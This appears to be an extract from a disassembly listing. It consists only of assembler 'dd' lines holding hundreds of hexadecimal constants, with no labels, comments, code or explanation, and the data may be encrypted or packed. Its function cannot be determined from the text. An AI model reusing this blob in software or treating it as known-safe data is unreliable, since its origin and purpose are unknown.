		dd 0B5F581C4h, 0EC437A37h, 0AF5F0AEDh, 1F48572h, 6ECD030Eh
		dd 0CA516101h, 2DCB088Ah, 105CC07h, 31673714h, 33621F1h
		dd 5BC02908h, 1B4E1768h, 0BF9279FDh, 0FE42A45Eh, 0F52AA3E9h
		dd 0F126B26Eh, 0D218DB5Eh, 0BA2CD65h, 0C6897A53h, 0EC095950h
		dd 0DD60CBF0h, 0F78BFC0Fh, 0F88D36C5h, 0DC6F16FFh, 3B786F3h
		dd 0B95B59E6h, 0F7534DEDh, 0DB09C8F5h, 1A899511h, 1213EE00h
		dd 1EC15039h, 38B66D62h, 6A59822Ah, 0AFF6E5AEh,	65A77941h
		dd 0C830E90h, 50C11B4h,	7AE2F7FAh, 128D0809h, 0CE72AFF8h
		dd 211C41A3h, 0FA71547Eh
		dd 4BEEFE2Ch, 0EB35C8F7h, 5A17F50Ah, 2D92B88Fh,	102858EFh
		dd 0E2B7CCE9h, 12B6FDBEh, 54DFB1A9h, 8044BA8Ah,	12EF5DEEh
		dd 0ADC4086Ch, 0DEF75905h, 8E441EEFh, 2D054240h, 7D4B80DDh
		dd 0C64E6E9h, 0FBE5BD62h, 6A81A2EBh, 0D7AF8B6Eh, 0BB3CB905h
		dd 0C59EE245h, 8BC461BAh, 0C03562FDh, 0AE965B4h, 0EB3B9C1Fh
		dd 0C4A9177h, 15E28E2Bh, 4FB7A5DEh, 33093CE8h, 91E21A30h
		dd 68F90377h, 0E9BB16C3h, 0A9AC84BFh, 0F9E9B0C3h, 5DAC9DE3h
		dd 0B180FEC6h, 0CE083CB3h, 34672096h, 9DFAC5EEh, 0A04F11DBh
		dd 0D0F70196h, 806EBF65h, 4F557CDCh, 0CE4B013Bh, 5EE9FCE4h
		dd 0EC581E1Eh, 0EF2B15F5h, 89C4A44Eh, 0F1DC7E25h, 0C4704282h
		dd 0F15E001Bh, 810F3C73h, 41121AE3h, 0AC1F297Bh, 423830C5h
		dd 0EBD62FFCh, 39CA0E00h, 1733EB3Bh, 960669E9h,	0D995D91Ch
		dd 0B10BC505h, 21976BC6h, 0EA17DB00h, 0E6DE7F31h, 649BA85Eh
		dd 2D6C9820h, 0DEA0CF4Eh, 6C03719Fh, 586146B0h,	75247A90h
		dd 4A56D860h, 0C4BAAC6Bh, 3EB9BCF1h, 0D952E1D3h, 1CAE0455h
		dd 0A04E2E00h, 265ABD9Eh, 0B2EE8013h, 0C4A26E0Ah, 0C18A4041h
		dd 0C787387Fh, 54285A6Bh, 0FDA5EF42h, 7470EBD9h, 20EBD55h
		dd 0E950CA6Ah, 237CD301h, 0A1FC0397h, 40150C75h, 572C6152h
		dd 0EEAED305h, 21ABE929h, 3AFA2D30h, 12F8C713h,	0ABE7A117h
		dd 8F04229h, 4C7197F3h,	0E4B8088h, 0C4C0DCF6h, 58E230EDh
		dd 0F2FCD2F0h, 0CAFE5018h, 3A282C0Ah, 9B045AD0h, 0BB1421E9h
		dd 44C21A98h, 9009CBD4h, 273BA67h, 0FE0A4C1Fh, 2B218231h
		dd 0EAE04AE4h, 0ADA2D734h, 0D2051D60h, 0A85B669Dh, 9F0B68D2h
		dd 18D3165Ah, 416A002Ch, 60CAE14Eh, 791FD090h, 3D523FC5h
		dd 0CA2A84B1h, 982CD64Bh, 56412568h, 0E9629674h, 97315428h
		dd 459A05F3h, 0D441BA53h, 307329E3h, 9C61F241h,	6816C07Dh
		dd 0C6CC4F5Fh, 43101AA6h, 951EF05h, 0A4AD199Fh,	8BF891F4h
		dd 86CFA4CBh, 401C562Dh, 0F955BED6h, 0DCA162BDh, 0C6F4493Eh
		dd 25665C50h, 6FA2BB0Fh, 59044A84h, 5B8E80EBh, 4B4E1E1Ch
		dd 0A23F68A1h, 0A4B284AAh, 0B91FEA17h, 0B866F681h, 812BD5B4h
		dd 2CBDE976h, 4CB64B85h, 34758A69h, 16799764h, 3608254Ah
		dd 1C9612EFh, 3578E5B5h, 6B233216h, 0B8C52C1Ch,	46C049C1h
		dd 1FFD2242h, 94F50144h, 5E2708C5h, 2A7BE5E9h, 3CB50104h
		dd 282A80AEh, 5AEE2CF0h, 0E9AD0405h, 0F0B2AF75h, 3844BB02h
		dd 8D8A36DEh, 0CC501691h, 108E1C70h, 262740E9h,	3F0821FEh
		dd 0C3DE2583h, 0CF800203h, 5F7CE28Eh, 59822BAEh, 1143E620h
		dd 53004FD2h, 0BED6851h, 591F0F3Eh, 0D3F9AEA0h,	0F327E917h
		dd 69E45AF0h, 1FDE04D9h, 5E3CF181h, 35E02278h, 0E3C9CF7Fh
		dd 0D1CA90E4h, 38658165h, 9BEC4BD0h, 24EF0B1h, 36DC159h
		dd 4D3E5D69h, 1F293413h, 0BE6349EEh, 64EFABDCh,	0CCEA94C6h
		dd 0DB9D5694h, 0D9680540h, 68CBEB32h, 599CA45Bh, 24BD7BB7h
		dd 7E8E1024h, 0C42C9807h, 936ED828h, 5EA16A11h,	0B52DB0h
		dd 811BFD0Bh, 730607E6h, 60F3548h, 6B84D5DCh, 25E925BAh
		dd 0DBA9C80h, 4A4B728Ch, 989FDB0h, 0C22159C8h, 1C4B7904h
		dd 2C83EB14h, 60A702F8h, 3E029F15h, 0F7277E76h,	88ED1668h
		dd 144BD513h, 0CF8BD7A1h, 69765908h, 2F0CD058h,	0D17C5677h
		dd 29AA0800h, 4A3D8D0Fh, 0D2C3E9BEh, 5984B505h,	10318EBAh
		dd 0B05F9FFBh, 6940FAECh, 68D80A31h, 9E3B7D57h,	3D2A7E50h
		dd 0E37A20D4h, 254AF0F4h, 9244B635h, 34B274ACh,	3EA7ABA4h
		dd 0D388530Bh, 54266345h, 70485402h, 0E9EAE80Bh, 0CDBDD6DFh
		dd 7CABEDEDh, 5C292752h, 36F602FFh, 6157493Ah, 0CFD1CEh
		dd 0F281060Ah, 7F99589Bh, 0E7D32927h, 681005F9h, 10D61FC0h
		dd 9FB63BA0h, 2809B151h, 8AB86BCEh, 6454075Eh, 8211946Eh
		dd 475C6B3Ch, 0AA2EAB4Fh, 4670FA0Dh, 8F61C9B6h,	3023827Fh
		dd 0A1E9FDCBh, 0F34B3A5Bh, 0F3AAC8C4h, 361724CAh, 4DD31F4Ch
		dd 6B1A64AFh, 0B47F32B2h, 50117F1h, 0FB06F123h,	0CBBA2B75h
		dd 68B12743h, 0BABC383h, 29B96F61h, 1BAD9F86h, 0B2888096h
		dd 574B0049h, 142FB7BFh, 0C7812E01h, 3A183B9Dh,	0C0D90C86h
		dd 2F25A2EDh, 3BD278Dh,	21DE21EFh, 3C30631Eh, 0E20216A6h
		dd 69BDE19Ch, 0BF361759h, 5F533C62h, 0DF0BD4C5h, 0F0DB20EBh
		dd 98D0295Eh, 7E5941B3h, 50B41880h, 7C277EF9h, 958976CFh
		dd 83412F1Eh, 525629A5h, 6B026726h, 416FE526h, 0DABE8429h
		dd 4A9AE90Bh, 0E02FF8C4h, 8006A1C1h, 0B22AAA9Ch, 84E4D020h
		dd 93C8A157h, 3A204161h, 0C657F8F1h, 4CA4B534h,	28330F6Dh
		dd 0D5CF953Bh, 0F111D23Fh, 8AA02BE8h, 0F020FEBh, 55AB1807h
		dd 0E56811A2h, 9120305Ah, 83665EEAh, 18D239CAh,	98740B77h
		dd 99930227h, 0ED6D8807h, 0C1C58025h, 7D9564B1h, 615C327Dh
		dd 8F81D61Bh, 0FEBF3FB0h, 0FC5CD5E2h, 0E8BD5212h, 548ED925h
		dd 285AD402h, 1C2045F8h, 0D5B825ABh, 0C7313060h, 1ACF78FBh
		dd 80FF1EE9h, 464B0E20h, 300CC342h, 0C0BF391Bh,	0E21E10F7h
		dd 2D4D3658h, 0A560D9A4h, 0CD0C9D68h, 0B0C3FE80h, 3509B798h
		dd 58F7B50Ah, 5E4CC580h, 2DEA52D9h, 0D7490BB2h,	5C139015h
		dd 5ED5C9B4h, 301BCF6Ah, 0B050A788h, 92CF909Eh,	0E2C1281Ah
		dd 135D2F95h, 0E0F89549h, 35802248h, 0C32D1ECBh, 0C2089763h
		dd 0EBE55DE1h, 22546880h, 585B653Eh, 0D310B231h, 4C148C1h
		dd 18C4493Ch, 405C4088h, 0B02B862h, 891D6D8Fh, 97578C2h
		dd 33F6307Fh, 8555A50Bh, 0A120550h, 2C2794A9h, 0EAE361A3h
		dd 201F74B9h, 0D44FB37Ch, 57B14DE2h, 273B3616h,	0A5068FBFh
		dd 42EF455Fh, 5AA2685Ch, 9D7766D5h, 7BA8E4Ch, 53A513B3h
		dd 0C9530855h, 0B10AA528h, 8065BC6Dh, 858AA516h, 0B84E33C4h
		dd 139CC4A9h, 45A1BCB8h, 0CFF78089h, 6D4A01F8h,	253E24Fh
		dd 760C6857h, 607D3378h, 2C14F119h, 38D317B2h, 3A2A398Bh
		dd 5788AA83h, 0A4C7450Eh, 89EF2011h, 95FFBh, 5B0301DFh
		dd 0B868585Ah, 5BFC3C53h, 0EAAC8344h, 0C85BE110h, 0E25D21C4h
		dd 0BFED5EF5h, 4E98F67Ch, 685F70DAh, 0CC170A2Ah, 1131595Ch
		dd 0BD00A1A5h, 21F8740Bh, 0DCA4895Bh, 0CC08049Fh, 4DA010Ch
		dd 9128ADDh, 0FB40256Ah, 0AF3A2D66h, 0F8011D28h, 0E90E05D8h
		dd 0F84454A0h, 0A50BDF67h, 95D0509h, 0EBBCF6E1h, 0F4D9D705h
		dd 0B165D2Fh, 3C0016EFh, 40D315AFh, 0D05B5EE9h,	0B9FEA90h
		dd 0EE280C28h, 0F82D54EAh, 83EA527Eh, 141C4108h, 0A9C10F43h
		dd 56823FAEh, 1607460Dh, 25E38075h, 26A59CBh, 40543539h
		dd 10E037B6h, 13177D97h, 5800D13Dh, 357AA6EEh, 2B2B021h
		dd 0CE406D0h, 46C80BE9h, 0C8B57368h, 96459347h,	88E26803h
		dd 5A16CEA4h, 201C1C07h, 0AFBD12CEh, 76402501h,	42355862h
		dd 0DC4B5D06h, 3AC7CC05h, 94BF73B1h, 0FF080564h, 0F00BA32h
		dd 6DD12502h, 479225E9h, 0C5CFF151h, 0CFFF6828h, 76156B50h
		dd 6115A8Ch, 87B93030h,	0E5DCBD4Bh, 0E2658283h,	0C952DE25h
		dd 0D4C52B7Dh, 51E9E1CAh, 429B4A43h, 9FA5C3Ch, 0D8C0E957h
		dd 0B94E4ADAh, 4FEB1034h, 0DA55ED5Bh, 7A6221h, 90662CE1h
		dd 8A0F1606h, 5BBEEC6Bh, 0DEF295FCh, 313091C9h,	0A50B94h
		dd 0C380F0B3h, 69870F12h, 6C5D93DCh, 1C5B2F24h,	0D409B8F3h
		dd 0A04EB680h, 80F2D7E0h, 2413BD55h, 0CFF06223h, 33CCB14Ch
		dd 8D2703F0h, 6CA00E5h
		dd 0B0703F0Eh, 0B5955061h, 9E49061h, 1BEA516Eh,	16C40C84h
		dd 18CB02BFh, 60D53B10h, 0CC2410Ah, 0EE297CA0h,	565F95A4h
		dd 50B95874h, 6AB33993h, 33E94BCCh, 4F4490A7h, 346671B1h
		dd 0DD76F703h, 0BDD874C7h, 5DEA31B1h, 21E21281h, 2B63E920h
		dd 0C649220Eh, 66710EE5h, 978B46CDh, 0DFBC34Ah,	7B0E5D14h
		dd 0D13ADCF5h, 6ADCE95Ah, 393B14F4h, 75C81D5Ah,	12D3C902h
		dd 33C344E1h, 69B4E9C0h, 893A4112h, 5F695FFBh, 0F6B008DBh
		dd 37A35F13h, 0B54A2924h, 3E95AEE2h, 7EE782h, 68504E5Eh
		dd 7F2F3F2Ch, 3A16DE68h, 9C4648F7h, 8EAC101h, 505ACDE9h
		dd 0EB2DD0F1h, 3EBB711Fh, 2590CE13h, 287598F5h,	0BF93469h
		dd 2F7B636Fh, 5811897Dh, 0D028C576h, 0A40E83E3h, 0FEAC975Bh
		dd 4C00353Fh, 302D236Ah, 241647CFh, 0CA08C229h,	895809CAh
		dd 0BF311677h, 7DD37B48h, 0DADB0D82h, 962433D1h, 0E61095AAh
		dd 0C809D299h, 510889F0h, 0E9FF4C6Bh, 59977571h, 0AEEC273Eh
		dd 7E957990h, 2D5EB2Eh,	4A7A996h, 806DBD45h, 725A3CCEh
		dd 0FEE630E9h, 80C4B65Bh, 0F11F602h, 57BED986h,	80012745h
		dd 8B0FCBE6h, 0A82A82CDh, 0E95AB035h, 9D1FD6B1h, 0ADE23B4Ch
		dd 4EFA7777h, 8D5C25Eh,	0B4CC3B72h, 17BA9347h, 0AC300AD2h
		dd 534104FDh, 7E802CF5h, 9784696Fh, 0FE0BF3F0h,	58A13545h
		dd 5452320Ah, 0F8EAD982h, 0F76B195Eh, 16D54A84h, 120F2DA0h
		dd 0AFBFEC89h, 0DDB91461h, 857D171Bh, 0FA1802F9h, 885C0C9Ah
		dd 7195E279h, 13762522h, 2407C62h, 96E2FD01h, 4E324B57h
		dd 249EA90Ch, 6B3EA35Fh, 422CFEFBh, 6D60F029h, 0FE2656BFh
		dd 151C460Dh, 0C02E9F4Eh, 0F254C3E5h, 840F1209h, 2E41B1D5h
		dd 57A32BB2h, 0E25E348h, 0A4CA32C1h, 42ECCD89h,	99F0A5DFh
		dd 7E076225h, 28D283D4h, 0EDB15AF5h, 0EDE5C155h, 600D7C5h
		dd 8D045865h, 0E92CE828h, 0BC4BD738h, 133C2138h, 6724AA50h
		dd 0F9EB29EFh, 58A95040h, 594D1188h, 72CA9F28h,	0ED89CDBBh
		dd 0A6840006h, 0FD609126h, 1DA693FDh, 5480099h,	0F7BEE788h
		dd 746268C0h, 972975A8h, 80467C2h, 0D2CB8958h, 5B003A50h
		dd 9C777005h, 50D8293Ch, 9053072Dh, 69C2004Ah, 0F2816245h
		dd 342404DBh, 9502444Eh, 4014B133h, 123AC956h, 78936BEh
		dd 296EE94Ah, 30020153h, 577F6456h, 8B7C26F0h, 53C4FE91h
		dd 4C6AF6AEh, 820F10E9h, 42935C2Fh, 659D16D9h, 15A22FF4h
		dd 9440E64Ch, 0D0060023h, 82D4058h, 5102BB43h, 7ACEFD05h
		dd 7824C284h, 66503778h, 8F4BFFE8h, 439B6F8h, 0E89E284Bh
		dd 53262C74h, 3D131850h, 0F8C0800h, 0D21B0C81h,	0FE16049Eh
		dd 230CC0CEh, 39CF2E9h,	0BE53AD07h, 65F117F0h, 92CE6181h
		dd 2F4E0A0Bh, 0D31EBDDh, 8005D202h, 6DE990E5h, 7665BFA2h
		dd 8B499813h, 2DA1FC5Ah, 0EE456ADCh, 0E976D0BBh, 59B7977Dh
		dd 0CE88F97h, 0E2F95364h, 2852364Fh, 0C7801213h, 6885706Bh
		dd 0A3B539DEh, 83FCB5FFh, 0DE59E2EFh, 316B28FAh, 0F141918Eh
		dd 0A22C2B9Dh, 0FEECFDDEh, 0C2B24AE9h, 0A9D7B8E9h, 4B950020h
		dd 9F51A244h, 804C26Ah,	5C91FB58h, 5C01D49Fh, 122F3201h
		dd 0F5953E4Dh, 5F0550EFh, 0A94E4894h, 5254897h,	56D1014Bh
		dd 37509080h, 0E9293DA8h, 405C08AEh, 4490398Eh,	255D52C1h
		dd 0C42A213Eh, 0D0CEC445h, 690305DFh, 29502B05h, 7122DF8h
		dd 81DF6406h, 5E569593h, 9F880F83h, 0E9180CAEh,	2D0AEE99h
		dd 835A6118h, 82116382h, 0CCD71C42h, 88D49630h,	0BF00B6AAh
		dd 7FE78ADh, 93EF0481h,	0BBBE503Eh, 0E7D2FBC1h,	450FEE10h
		dd 0C6EDE30h, 408479B3h, 2A3CCA1Ah, 41F4064h, 956A7FEh
		dd 0D002C3F0h, 3DA2A310h, 70465D25h, 0A60D995h,	13FAE089h
		dd 0A5A7F870h, 17055261h, 480EA16Dh, 0B452A97Ah, 4E12516Dh
		dd 5E014321h, 5A0E1967h, 83730C83h, 0BAF4C036h,	1CA590Bh
		dd 42146078h, 0CBC6A070h, 0C46282A5h, 0A682CCF7h, 0C5406B0Dh
		dd 572511E5h, 77E9F1B0h, 0FE2C7C60h, 90652CC0h,	75DE70E0h
		dd 58D5E5C6h, 6331298h,	522F6824h, 0B13E9046h, 95CEE0C1h
		dd 5D5000Bh, 0E84BE07Eh, 632D0955h, 0E8F5DA95h,	1792B9DBh
		dd 8926836Ah, 4D9CFCF0h, 7E674B95h, 0EF0084A4h,	81FE875Dh
		dd 0A4DDBF6h, 0DEF769CDh, 5C681A6h, 2FA5A6A1h, 8E9A004h
		dd 680AC5B8h, 0B8C6297Bh, 820E5824h, 0B1356C9h,	0AEC1BC40h
		dd 824AC870h, 8FB89C05h, 4721B3B5h, 6811606Ah, 0C4BD6A8Ch
		dd 20EA9C5h, 42F2847Bh,	3C83E9C5h, 0BECC99D7h, 81E07670h
		dd 49B9EB31h, 6ADD3A66h, 0C49923ECh, 461927B7h,	4515E4ADh
		dd 164E2D94h, 15670845h, 0F6C0E3C4h, 332356h, 0B9514830h
		dd 40D835D1h, 14E98104h, 0AAA9D38h, 2B153A1h, 0BC50899h
		dd 0B961D090h, 9880BD9Eh, 1203430h, 885A98F7h, 0A68569Fh
		dd 3E5A6B2Bh, 575512B5h, 0E195A9EBh, 0C26C30E9h, 87415725h
		dd 0D9542A41h, 0E5B20351h, 0F2F5B753h, 7156D8EEh, 0BB459D59h
		dd 487D9A80h, 0B1D9316Ch, 4F89619Ch, 0A7646B20h, 9D295FEBh
		dd 162BCDC5h, 2A70212Ah, 0C600CFCh, 174149EFh, 0EC1CAC1h
		dd 0A3207BE5h, 4FC98277h, 0E15C0370h, 46A5054Ah, 0C925C953h
		dd 8B50D306h, 706E0C1h,	0B55D9505h, 72D4D235h, 12B51CD7h
		dd 0A3236268h, 39B80034h, 0D06E173h, 550158FCh,	0D28B0F06h
		dd 58BF4488h, 0C0AC4A2Eh, 0B5E0D1EAh, 718B165Eh, 420BD326h
		dd 0C4A00A23h, 5559B4BFh, 0C931687Bh, 0FD884486h, 907CABDDh
		dd 5FA48A4Fh, 400B88D1h, 7608EA05h, 0EE3A42B9h,	53F46807h
		dd 1653CBEFh, 0B1F8D921h, 486C6882h, 89024775h,	8358E4E9h
		dd 8034B401h, 8F0FA5F4h, 377AE6F1h, 61600417h, 0F76B74B5h
		dd 5C5412DEh, 0D69DE8ADh, 8570BA48h, 0BD88C801h, 5C282550h
		dd 7E9510EBh, 800F82B0h, 8FFEE371h, 3A8A9C62h, 2D64E6F7h
		dd 2182F888h, 7608D37Ch, 7965046Bh, 3A66491Dh, 6AD8C869h
		dd 95A84812h, 973BB0D7h, 816BC341h, 728EF8Ah, 97871649h
		dd 0CDB6F5C0h, 2EC6CC97h, 624E31A3h, 0C6555854h, 3DF7228Bh
		dd 0AD85C389h, 0CA75D9B9h, 5EFC0842h, 0A81E1726h, 0A9898244h
		dd 0AF810B95h, 0E38B7065h, 0BBD5062Ah, 0B94212C3h, 8947E9DEh
		dd 5E55294Dh, 0EA862247h, 0EAD064DFh, 2EF6ABC9h, 0C2708810h
		dd 5AEDC8E9h, 6A7A27A8h, 60B71C64h, 7C0D21CCh, 6343FE5Ch
		dd 39A69FAFh, 0C2B50A5Bh, 5856922Bh, 1AB0E979h,	4A476E9Ah
		dd 404DFD40h, 46B55A08h, 0BB685C21h, 612E549h, 6B3A89A5h
		dd 5E560AF4h, 0EB2BCD51h, 6438348h, 4C374FCFh, 0B0350970h
		dd 0EF8B3C8h, 534E92Dh,	89FEBD6Ah, 8DE42AF2h, 0EFD9678Fh
		dd 5D5A72E6h, 82DFCEA9h, 7F100A05h, 0F9496DA4h,	24F603B8h
		dd 2FA4729Dh, 49985B94h, 52824FC2h, 0B57FF22Ch,	4ADB098Bh
		dd 7B055CBh, 8D02300Eh,	3A684603h, 9840465Dh, 1453032Ah
		dd 44E927BAh, 0CB016F16h, 0BAF51FBCh, 0DC135172h, 170D6819h
		dd 1096E85Dh, 80039FACh, 0EB884DC5h, 259E8CD1h,	1F3F308Ah
		dd 4FFC304Ah, 48D3680Ch, 62957D59h, 0C5F574CAh,	0FBDABA56h
		dd 21813E9Ah, 0C9E43D4Ah, 99C87042h, 0E79D1716h, 2D8B8815h
		dd 1775545Fh, 204FA069h, 8B4BF07Fh, 92BEED1Fh, 0E6718D9Eh
		dd 0B18B7B82h, 5610BF98h, 0B580BA0Bh, 97E5FAE3h, 0A51680C2h
		dd 2D507397h, 0CD2B2FA2h, 0BD4A5A06h, 0C96CF40Ah, 380F4840h
		dd 0FB82399Eh, 0D8C7350Ch
		dd 0A6C3BF8Bh, 0AEE8D4A5h, 0EE611D61h, 0F1095207h, 7DD323DFh
		dd 0D9579B1Ah, 16B86302h, 0B304D80Eh, 0E879B4Bh, 3E17E2B0h
		dd 0B5B3BD05h, 73269400h, 0CEF28102h, 235B0802h, 5540A868h
		dd 2AA64398h, 0DC78AD2Dh, 0ACC82758h, 6C287135h, 9838C815h
		dd 0D2A12F76h, 3A20226Ah, 0D73F31Dh, 19F80496h,	0A935A44Eh
		dd 14889204h, 0ACFCF331h, 9CAE2713h, 683B5756h,	85AACD4Ch
		dd 0CDEE80FBh, 3A454DDh, 4D744EC6h, 0A6AAAC85h,	310F80ECh
		dd 512BBCD6h, 0BA14253h, 2C3B0D50h, 4FDCDCB3h, 0BAE490ECh
		dd 3EC24534h, 9C610EBEh, 6E5E6203h, 15836DC5h, 6ED4C9E0h
		dd 3DB5A42Ah, 0D1603C41h, 3AF30BEDh, 3D7C3010h,	0E11DE93Eh
		dd 0BD2A1F9h, 306C837Dh, 0B4654B39h, 7441018Fh,	8B3880F9h
		dd 89E6BB1Eh, 0A7506218h, 0A569429Dh, 0F5B2050Ah, 6AE29778h
		dd 27E3BED7h, 54C071E9h, 0CE5BFE58h, 5E66804h, 602E62FBh
		dd 0F2DD9DAh, 4E5FFEAFh, 15D9364Bh, 2B2A298Eh, 158A7F70h
		dd 3EC3FFEh, 3F2CDF0Ch,	730B3A33h, 9D1B5C0Eh, 0B150F2EFh
		dd 0FCCF3561h, 6FCF7F29h, 0D468A258h, 0BB0FF449h, 87F1C7AFh
		dd 1B14EB1h, 598B8E7Ch,	0BB37A75Dh, 675C3120h, 46482CE9h
		dd 0D30E6973h, 1C68FA17h, 0D484830Ch, 0B631BEE5h, 0EE15C2A8h
		dd 93DCE6C6h, 0F5680D72h, 0F0F0038Fh, 82347520h, 0A6B354AFh
		dd 3F210E61h, 0A0513330h, 24F5B00Dh, 4C85266Ah,	2E62DD0h
		dd 1270E697h, 0FA8F38E9h, 8E704A21h, 4A68E864h,	2E31AC67h
		dd 0C19CAD5Ah, 66BE0560h, 8275D176h, 540742A5h,	0E7F05165h
		dd 240BF64h, 338135B2h,	0FA5B612Fh, 856801B1h, 637D9176h
		dd 0EDD13399h, 3B54F1BAh, 8068B107h, 0CA88D4F0h, 0D1302F59h
		dd 4DAE6526h, 90AC545Fh, 3CA77AB9h, 0FF151407h,	96C7C045h
		dd 4A13244Eh, 0A7A46AE9h, 0B7250BEDh, 0ED637579h, 4DB24006h
		dd 0B0C49C5h, 71D376C7h, 8A06E76h, 0A056459Fh, 31E9131Ch
		dd 0FCCA20CDh, 0CAB0C343h, 29EE342Dh, 994884B6h, 0E0453DF7h
		dd 1667F26Bh, 0D5B33501h, 1F2BB512h, 541B576Bh,	9612CD40h
		dd 83516503h, 0F89DD14Ah, 5CA5963Ch, 0B7BD1C30h, 0B02D1210h
		dd 2506D23Dh, 0DF636A01h, 0C89F2A1Eh, 80F9FB17h, 0A2BDE688h
		dd 688658F6h, 828EFD80h, 0F4470C55h, 0E9CAB209h, 0E78C8C6Bh
		dd 5A03FD96h, 0CA65C180h, 7DBC4A9Fh, 575CC592h,	0C624742Fh
		dd 883B61D2h, 0D71493ECh, 0F7051190h, 3D2095D8h, 3C267D0Ah
		dd 0FE358BFh, 144DB19h,	80BD8FAh, 750D925Dh, 9D8BA286h
		dd 0E66BA44h, 9C46EA81h, 6790ACB2h, 0C67F4713h,	0E710C229h
		dd 5408004h, 2DFA1C2Eh,	0E913E9B8h, 4F515B9Bh, 720F48E0h
		dd 604EA5F8h, 0EA7B64F7h, 70DD9A95h, 23A2D77h, 0F98764FEh
		dd 579220Bh, 70A0551h, 29901553h, 0C3895D0Ch, 0CC833F4Ah
		dd 215DC2ABh, 0B712CCD5h, 179930Ch, 10E7FA49h, 552EDD39h
		dd 4AD61075h, 0FD4A7BFCh, 6DD0850Bh, 0DD12DCA9h, 238BBE76h
		dd 42475124h, 0B25F5457h, 139D7B3Dh, 226FACEFh,	0A0E91602h
		dd 0FB355245h, 0CACCC417h, 0B8E9128h, 6DEF908h,	478F0C52h
		dd 0F1DB221h, 0F181E1D1h, 65C202A2h, 8A240140h,	0D4282E27h
		dd 4D1F0DF5h, 7CA2D971h, 12B84A8Fh, 0A569BE1h, 5C20A858h
		dd 56E08A2Fh, 18225C78h, 780AFD7Ch, 5115B9Dh, 0EAAEDBE9h
		dd 91AE3D35h, 6B2DC162h, 91C85E38h, 825912B4h, 0FF60B07Bh
		dd 22C00F6Ch, 3D227A35h, 8A649766h, 7F3E301Fh, 675B6845h
		dd 1302FAD8h, 13382132h, 60D33797h, 77496B4Eh, 1465148h
		dd 173129F2h, 9641DBF7h, 0B33FA548h, 20C68EB8h,	0DAE95B51h
		dd 0EF4FC099h, 0C0E3F7C9h, 80454497h, 2411C883h, 21164F6h
		dd 91E28D7h, 0E21582D5h, 0DD540D59h, 5ED46DD8h,	1CB54CF8h
		dd 0E9C5C448h, 0EFFDD5CDh, 5CFC9AC4h, 0CAB814E2h, 0A2B2E1E9h
		dd 258EB91Fh, 0BE931C1Eh, 4B31E5B0h, 35D237C1h,	0E90820DEh
		dd 9DDDD390h, 0DD945C89h, 0BB5E9430h, 0C5D65481h, 0D7E98D6Ch
		dd 0C8B73A69h, 6E54294Eh, 409C5123h, 0A359513h,	33461978h
		dd 0E3B70BCBh, 4C149F9h, 0C12A5C44h, 282FE9F9h,	55FF40DBh
		dd 31E7651Eh, 831836ECh, 2C118819h, 24E60906h, 6E9F081Ah
		dd 123C95A4h, 2DE90A2Ch, 0B645297Fh, 4A70FEAh, 80D20B6Eh
		dd 0D154E1D6h, 0F5CA1E50h, 0DDE507A2h, 4AA46724h, 0EBA3E905h
		dd 189C2801h, 0C77B1379h, 2F28B8CBh, 497A7228h,	0B10828B1h
		dd 5DFEA7B2h, 0A3845FC9h, 683DD0BFh, 0CC952588h, 8172A01Eh
		dd 4BF42E7Ch, 1D1050Dh,	5EAA8386h, 28FA1694h, 0DD246857h
		dd 21D02B4Ch, 0DA98372h, 6FF87531h, 6B7C6091h, 23D7D202h
		dd 1630FBFDh, 0BB05132Fh, 0CCEC1735h, 0A0EBB4C5h, 0CC75FEE1h
		dd 807302FAh, 42E91E09h, 0EFD87484h, 0E535EBC5h, 0B151D4B2h
		dd 16C38348h, 0A7F8F602h, 0BB02F220h, 7061762Dh, 1A967589h
		dd 0D909CDECh, 0F463C718h, 8ADD0941h, 0D581CF64h, 6120C1D6h
		dd 408E04BDh, 984655B5h, 48005852h, 4C749735h, 2D8B0F0Ch
		dd 0BDF69543h, 15EED1D8h, 0F9D248E9h, 7EEEB74Eh, 0F36A9230h
		dd 2E9FAAC2h, 12CFFE08h, 0DCC9EDDBh, 4552DEAFh,	5EB54946h
		dd 67FDA4D7h, 672906E1h, 0B27BB912h, 48F884A6h,	0CC01EB12h
		dd 157A4D65h, 2A4E993Ah, 9A2EF88Ch, 0B8D6975Ah,	9E3EE978h
		dd 0CB2C3855h, 54564200h, 1F2E4D5h, 782BD5BAh, 0F0D6314Dh
		dd 7AA04A5Fh, 0AA3B71E6h, 0DCF2002Dh, 0F7F1F01h, 3F75E87h
		dd 0A40BE93Dh, 0C1290B3Ch, 666CF5FDh, 0B443E84Bh, 13DCB201h
		dd 568012C0h, 3D2C239Bh, 8225E94Ah, 625676E3h, 31D7C330h
		dd 446A51B2h, 0D5CCE9ADh, 0D34DA231h, 0D6D1EF09h, 796870E7h
		dd 0A2EC204Bh, 0E8EE81B0h, 5397F18h, 0D4B9E32h,	0D60109A2h
		dd 1C08061Ch, 984E1483h, 0A320E62Dh, 129BCB7h, 0F608EDC0h
		dd 3274E8DDh, 0E22E4A9Dh, 0D742DF50h, 0E961925Eh, 26802F8Fh
		dd 0DE0C355Ah, 894B1D58h, 1721ABB5h, 116EF2Ch, 0A27E16CFh
		dd 43061B64h, 5E5E03Bh,	7BCE3E6Ch, 5BC08B25h, 35276859h
		dd 72839844h, 3B53B7C6h, 51D5B10Bh, 24192479h, 0FEBD826Ch
		dd 0DE807F78h, 971DA8EDh, 0E70C7361h, 0C0FA7174h, 24458C8Bh
		dd 2F7FE391h, 895B5F14h, 0AB4E27A9h, 8DE94004h,	2F689988h
		dd 23F10538h, 0B5E9E682h, 279845A7h, 0BF0AF1F3h, 31C31198h
		dd 7CEE93F5h, 1F8AEC08h, 17670FBFh, 4F7051E8h, 0C2EEE9C2h
		dd 6AD4A2D5h, 0FA9122B9h, 0CC9A977Eh, 33236006h, 5C9AB5FCh
		dd 851B352h, 12E02EF9h,	0E9C30B5Eh, 66DA2E3Ch, 91EBD8A0h
		dd 1FD22310h, 3A6B1004h, 13E524h, 0C4A6808h, 0D8035693h
		dd 0E9798E09h, 0B3BD5E15h, 0D7903E20h, 0FC860312h, 0D4098419h
		dd 0E130DCD9h, 0E2881CEFh, 15FEE558h, 3FC1D05Ah, 2CC030D8h
		dd 0C09E8E70h, 0E80CB519h, 79C659F1h, 0A4B14060h, 7598C980h
		dd 0F4386327h, 0B7BD62D1h, 0DCEB5F05h, 42027C15h, 7E0C17Bh
		dd 966D6850h, 0C0D673F7h, 360D580Fh, 6775A14Ah,	4454136h
		dd 68050932h, 6E517CFCh, 0B65C9B82h, 0E7C05D7Eh, 0E7BFF99Eh
		dd 0D5512F25h, 8BAC5C94h, 1D887568h, 249910A7h,	5A13FC5Dh
